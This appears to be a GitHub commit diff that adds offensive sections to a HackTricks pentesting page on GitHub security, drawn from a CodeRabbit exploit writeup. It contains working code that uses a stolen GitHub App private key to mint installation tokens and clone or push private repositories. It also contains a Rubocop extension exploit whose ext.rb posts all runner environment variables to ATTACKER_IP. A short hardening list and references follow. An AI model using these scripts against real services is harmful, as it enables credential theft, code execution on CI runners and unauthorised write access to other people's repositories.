Skip to content

Commit 5158fc5

Browse files
authored
Merge pull request #198 from HackTricks-wiki/update_How_we_exploited_CodeRabbit__from_a_simple_PR_to_R_20250819_183743
How we exploited CodeRabbit from a simple PR to RCE and writ...
2 parents 7a61b79 + 5657e05 commit 5158fc5

File tree

1 file changed

+172
-1
lines changed
  • src/pentesting-ci-cd/github-security

1 file changed

+172
-1
lines changed

src/pentesting-ci-cd/github-security/README.md

Lines changed: 172 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -164,6 +164,116 @@ An attacker might create a **malicious Github Application** to access privileged
164164

165165
Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
166166

167+
#### Impersonate a GitHub App with its private key (JWT → installation access tokens)
168+
169+
If you obtain the private key (PEM) of a GitHub App, you can fully impersonate the app across all of its installations:
170+
171+
- Generate a short‑lived JWT signed with the private key
172+
- Call the GitHub App REST API to enumerate installations
173+
- Mint per‑installation access tokens and use them to list/clone/push to repositories granted to that installation
174+
175+
Requirements:
176+
- GitHub App private key (PEM)
177+
- GitHub App ID (numeric). GitHub requires iss to be the App ID
178+
179+
Create JWT (RS256):
180+
181+
```python
182+
#!/usr/bin/env python3
183+
import time, jwt
184+
185+
with open("priv.pem", "r") as f:
186+
signing_key = f.read()
187+
188+
APP_ID = "123456" # GitHub App ID (numeric)
189+
190+
def gen_jwt():
191+
now = int(time.time())
192+
payload = {
193+
"iat": now - 60,
194+
"exp": now + 600 - 60, # ≤10 minutes
195+
"iss": APP_ID,
196+
}
197+
return jwt.encode(payload, signing_key, algorithm="RS256")
198+
```
199+
200+
List installations for the authenticated app:
201+
202+
```bash
203+
JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456)
204+
205+
curl -sS -H "Authorization: Bearer $JWT" \
206+
-H "Accept: application/vnd.github+json" \
207+
-H "X-GitHub-Api-Version: 2022-11-28" \
208+
https://api.github.com/app/installations
209+
```
210+
211+
Create an installation access token (valid ≤ 10 minutes):
212+
213+
```bash
214+
INSTALL_ID=12345678
215+
curl -sS -X POST \
216+
-H "Authorization: Bearer $JWT" \
217+
-H "Accept: application/vnd.github+json" \
218+
-H "X-GitHub-Api-Version: 2022-11-28" \
219+
https://api.github.com/app/installations/$INSTALL_ID/access_tokens
220+
```
221+
222+
Use the token to access code. You can clone or push using the x‑access‑token URL form:
223+
224+
```bash
225+
TOKEN=ghs_...
226+
REPO=owner/name
227+
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
228+
# push works if the app has contents:write on that repository
229+
```
230+
231+
Programmatic PoC to target a specific org and list private repos (PyGithub + PyJWT):
232+
233+
```python
234+
#!/usr/bin/env python3
235+
import time, jwt, requests
236+
from github import Auth, GithubIntegration
237+
238+
with open("priv.pem", "r") as f:
239+
signing_key = f.read()
240+
241+
APP_ID = "123456" # GitHub App ID (numeric)
242+
ORG = "someorg"
243+
244+
def gen_jwt():
245+
now = int(time.time())
246+
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
247+
return jwt.encode(payload, signing_key, algorithm="RS256")
248+
249+
auth = Auth.AppAuth(APP_ID, signing_key)
250+
GI = GithubIntegration(auth=auth)
251+
installation = GI.get_org_installation(ORG)
252+
print(f"Installation ID: {installation.id}")
253+
254+
jwt_tok = gen_jwt()
255+
r = requests.post(
256+
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
257+
headers={
258+
"Accept": "application/vnd.github+json",
259+
"Authorization": f"Bearer {jwt_tok}",
260+
"X-GitHub-Api-Version": "2022-11-28",
261+
},
262+
)
263+
access_token = r.json()["token"]
264+
265+
print("--- repos ---")
266+
for repo in installation.get_repos():
267+
print(f"* {repo.full_name} (private={repo.private})")
268+
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
269+
print(clone_url)
270+
```
271+
272+
Notes:
273+
- Installation tokens inherit exactly the app’s repository‑level permissions (for example, contents: write, pull_requests: write)
274+
- Tokens expire in ≤10 minutes, but new tokens can be minted indefinitely as long as you retain the private key
275+
- You can also enumerate installations via the REST API (GET /app/installations) using the JWT
276+
167277
## Compromise & Abuse Github Action
168278

169279
There are several techniques to compromise and abuse a Github Action, check them here:
@@ -172,6 +282,60 @@ There are several techniques to compromise and abuse a Github Action, check them
172282
abusing-github-actions/
173283
{{#endref}}
174284

285+
## Abusing third‑party GitHub Apps running external tools (Rubocop extension RCE)
286+
287+
Some GitHub Apps and PR review services execute external linters/SAST against pull requests using repository‑controlled configuration files. If a supported tool allows dynamic code loading, a PR can achieve RCE on the service’s runner.
288+
289+
Example: Rubocop supports loading extensions from its YAML config. If the service passes through a repo‑provided .rubocop.yml, you can execute arbitrary Ruby by requiring a local file.
290+
291+
- Trigger conditions usually include:
292+
- The tool is enabled in the service
293+
- The PR contains files the tool recognizes (for Rubocop: .rb)
294+
- The repo contains the tool’s config file (Rubocop searches for .rubocop.yml anywhere)
295+
296+
Exploit files in the PR:
297+
298+
.rubocop.yml
299+
300+
```yaml
301+
require:
302+
- ./ext.rb
303+
```
304+
305+
ext.rb (exfiltrate runner env vars):
306+
307+
```ruby
308+
require 'net/http'
309+
require 'uri'
310+
require 'json'
311+
312+
env_vars = ENV.to_h
313+
json_data = env_vars.to_json
314+
url = URI.parse('http://ATTACKER_IP/')
315+
316+
begin
317+
http = Net::HTTP.new(url.host, url.port)
318+
req = Net::HTTP::Post.new(url.path)
319+
req['Content-Type'] = 'application/json'
320+
req.body = json_data
321+
http.request(req)
322+
rescue StandardError => e
323+
warn e.message
324+
end
325+
```
326+
327+
Also include a sufficiently large dummy Ruby file (e.g., main.rb) so the linter actually runs.
328+
329+
Impact observed in the wild:
330+
- Full code execution on the production runner that executed the linter
331+
- Exfiltration of sensitive environment variables, including the GitHub App private key used by the service, API keys, DB credentials, etc.
332+
- With a leaked GitHub App private key you can mint installation tokens and get read/write access to all repositories granted to that app (see the section above on GitHub App impersonation)
333+
334+
Hardening guidelines for services running external tools:
335+
- Treat repository‑provided tool configs as untrusted code
336+
- Execute tools in tightly isolated sandboxes with no sensitive environment variables mounted
337+
- Apply least‑privilege credentials and filesystem isolation, and restrict/deny outbound network egress for tools that don’t require internet access
338+
175339
## Branch Protection Bypass
176340

177341
- **Require a number of approvals**: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a **Github Action** environment inside the repo, using the **GITHUB_TOKEN** you might be able to **approve your PR** and get 1 approval this way.
@@ -235,7 +399,14 @@ jobs:
235399
236400
For more info check [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
237401
238-
{{#include ../../banners/hacktricks-training.md}}
402+
## References
239403
404+
- [How we exploited CodeRabbit: from a simple PR to RCE and write access on 1M repositories](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/)
405+
- [Rubocop extensions (require)](https://docs.rubocop.org/rubocop/latest/extensions.html)
406+
- [Authenticating with a GitHub App (JWT)](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app)
407+
- [List installations for the authenticated app](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app)
408+
- [Create an installation access token for an app](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app)
409+
410+
{{#include ../../banners/hacktricks-training.md}}
240411
241412

0 commit comments

Comments
 (0)